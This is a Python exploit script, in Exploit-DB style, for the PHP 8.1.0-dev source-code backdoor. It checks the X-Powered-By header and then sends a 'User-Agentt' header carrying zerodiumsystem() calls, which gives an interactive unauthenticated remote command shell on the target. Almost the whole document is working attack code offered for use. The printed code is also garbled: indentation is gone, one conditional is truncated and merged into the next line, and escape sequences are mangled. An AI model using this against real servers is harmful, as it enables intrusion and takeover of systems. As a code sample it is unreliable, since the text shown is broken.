PHP 8.1.0-dev Backdoor Remote Command Execution

#!/usr/bin/env python3
# Exploit Title: PHP 8.1.0-dev WebShell RCE (Unauthenticated)
# Date: 2021-05-31
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.php.net/
# Software Link: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
# Version: PHP 8.1.0-dev
# Tested on: Kali GNU/Linux 2020.3
# Author website: https://coldfusionx.github.io
# Author email: [email protected]
# Detailed POC: https://github.com/ColdFusionX/PHP-8.1.0-dev_WebShell-RCE
import argparse, textwrap
import requests
import sys
parser = argparse.ArgumentParser(description="PHP 8.1.0-dev WebShell RCE by ColdFusionX", formatter_class=argparse.RawTextHelpFormatter, 
epilog=textwrap.dedent(''' 
Exploit Usage : 
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami
'''))                     
parser.add_argument("-l","--url", help="PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)") 
args = parser.parse_args()
if len(sys.argv)     print (f"Exploit Usage: ./exploit.py -h [help] -l [url]")          
sys.exit()  
# Variables
Host = args.url
r = requests.session()
## Use this for Proxy
#r.proxies.update( { 'http':'http://127.0.0.1:8080' } ) 
def svcheck():
verify = r.get(f'{Host}')
if (verify.headers['X-Powered-By'] == 'PHP/8.1.0-dev') :
print("Target is running on PHP 8.1.0-devn")
return True
def exec():
headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'User-Agentt' : f'zerodiumsystem("{Command}");'
}
door = r.get(f'{Host}', headers = headerscontent, allow_redirects= False)
resp = door.text.split("")[0]
if (resp == ""):
print()
print("Invalid Command")
print()   
else:
print()
print(resp)
if __name__ == "__main__":
print ('n[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX n ')
try:    
if svcheck() == True:
print("*Shoot your commands below* n")
try:
while True:
Command = input("[^] WebShell=- ")
exec()
except:
print("rnExiting.")
sys.exit(-1)
except Exception as ex:
print('Invalid URL or Target not Vulnerable')